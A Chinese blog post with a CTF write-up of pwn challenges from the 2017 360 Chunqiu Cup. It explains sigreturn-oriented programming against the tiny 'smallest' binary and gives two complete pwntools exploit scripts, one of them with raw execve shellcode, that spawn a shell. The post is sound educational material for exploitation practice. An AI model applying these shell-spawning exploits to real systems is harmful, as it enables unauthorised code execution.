Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

2017 360春秋杯线上 部分Pwn writeup

2017-04-23 Updated on 2019-10-28 Writeup

Table of Contents

  1. 第一种解法 mprotect
  2. 第二种解法 infoleak
  • hiddenlove
  • smallest

    这个题Joker湿傅和说有三种解法,我分别学习了其中两种解法。

    题目开了NX,

    这个题,代码量很少,我们从汇编中就能看懂逻辑。

    xor rax ,rax 将rax的值设置为0,之后的将 rax的值作为调用号,即read的调用号为0,读入数据。所以,我们的初步设想就是通过控制rax,修改调用号,调用不同的函数,起初想能不能控制rdx,传入/bin/sh直接起shell,但是,在gadget中,发现了一个致命的问题。

    因为代码少得可怜,能找到gadget也少得可怜,大概也只有

    1
    2
    3
    4
    5
    6
    mov rsi,rsp

    mov rdi,rax

    mov edi,eax

    问题就是,想改变rdi,只能改变rax,但是,rax一变 rdi就会变,这样一来调用号也变了,并不能达到我们的目的。所以我们只能用SROP解决这个问题了。

    第一种解法 mprotect

    这种做法是Joker师傅教我的 我也是第一次了解这种方法

    SROP + mprotect + shellcode

    我们通过mprotect,将不可执行的text段,修改为rax,那么我们就可以执行我们的shellcode了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    # -*-coding:utf-8-*-
    __author__ = 'joker'

    from pwn import *
    context.log_level = "debug"
    context.arch = "amd64"

    r = process("./smallest")

    syscall_addr = 0x4000BE
    start_addr = 0x4000B0

    payload = p64(start_addr)
    payload += p64(start_addr)#fill
    payload += p64(start_addr)#fill
    r.send(payload)
    raw_input("joker")

    #write infor leak
    r.send("\xb3")#write 2 start_addr last byte
    data = r.recv(8)
    data = r.recv(8)
    stack_addr = u64(data)
    print "[*]:stack:{0}".format(hex(stack_addr))

    frame = SigreturnFrame()
    frame.rax = constants.SYS_read
    frame.rdi = 0
    frame.rsi = stack_addr
    frame.rdx = 0x300
    frame.rsp = stack_addr
    frame.rip = syscall_addr

    payload = p64(start_addr)
    payload += p64(syscall_addr)
    payload += str(frame)
    r.send(payload)

    raw_input("joker")
    payload = p64(0x4000B3)#fill
    payload += p64(0x4000B3)#fill
    payload = payload[:15]
    r.send(payload)#set rax=sys_rt_sigreturn

    frame = SigreturnFrame()
    frame.rax = constants.SYS_mprotect
    frame.rdi = (stack_addr&0xfffffffffffff000)
    frame.rsi = 0x1000
    frame.rdx = 0x7
    frame.rsp = stack_addr + 0x108
    frame.rip = syscall_addr
    payload = p64(start_addr)
    payload += p64(syscall_addr)
    payload += str(frame)

    payload += p64(stack_addr + 0x108 + 8)
    #payload += cyclic(0x100)#addr ====> start_addr + 0x108
    payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"#shellcode

    r.send(payload)

    raw_input("joker")
    payload = p64(0x4000B3)#fill
    payload += p64(0x4000B3)#fill
    payload = payload[:15]
    r.send(payload)#set rax=sys_rt_sigreturn

    r.interactive()

    第二种解法 infoleak

    通过构造rax,修改为write的调用号,我们可以leak出栈地址,随后,我们可以在leak出的栈地址写/bin/sh,之后就可以起shell了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    #!/usr/bin/env python3
    from pwn import *
    import sys
    import time
    ###

    if len(sys.argv) > 1:
    DEBUG = False
    else:
    DEBUG = True

    if DEBUG:
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
    else:
    main_arena_off = 0x001B07B0
    binsh_off = 0x158E8B

    logger = logging.getLogger()
    logger.setLevel(logging.DEBUG) # set to INFO in release mode

    ###

    if DEBUG:
    r = process("./smallest")
    context.terminal = ['tmux','splitw','-h']
    #gdb.attach(r,'''
    #b *0x00000000004000BE
    #b *0x00000000004000c0
    #''')
    else:
    #r = remote("106.75.61.55",20000)
    r = remote("182.254.130.247",10002)
    context.arch="amd64"
    main = 0x00000000004000B0
    syscall = 0x00000000004000BE
    r.send(p64(main)+p64(main)+p64(main))
    raw_input("stop")
    #time.sleep(2)
    r.send(p8(0xbb))
    raw_input("stop")
    #time.sleep(2)
    stack_addr = int(unpack(r.recv()[16:24],"all"))
    print "%x"%stack_addr
    frame=SigreturnFrame(kernel="amd64")
    frame.rax=0
    frame.rdx=0x400
    frame.rcx=0
    frame.rsi=stack_addr
    frame.eflags=0x246
    frame.rdi=0
    #frame.csgsfs=0x002b000000000033
    frame.r11=0x246
    frame.rsp=stack_addr
    frame.rip=0x00000000004000BE
    r.send(p64(main)+"/bin/sh"+p8(0)+bytes(frame))
    raw_input("stop")
    #time.sleep(1)

    r.send(p64(syscall)+"/bin/sh")

    #time.sleep(1)

    frame.rax=59
    frame.rdi=stack_addr+0x10
    frame.rsi=0
    frame.rdx=0

    r.send(p64(main)+"/bin/sh"+p8(0)+bytes(frame))
    raw_input("stop")
    #time.sleep(1)
    r.send(p64(syscall)+"/bin/sh")
    #raw_input("stop")
    #time.sleep(1)
    r.interactive()

    hiddenlove

    这是 Hitcon 2016 babyheab题改的。

    https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/baby-heap-300

    分类: Writeup
    标签: pwn 360春秋杯
    ← Prev 2017 DEFCON --- peROPdo writeup
    Next → 解决升级pwntools gdb.attach不能弹起gdb

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom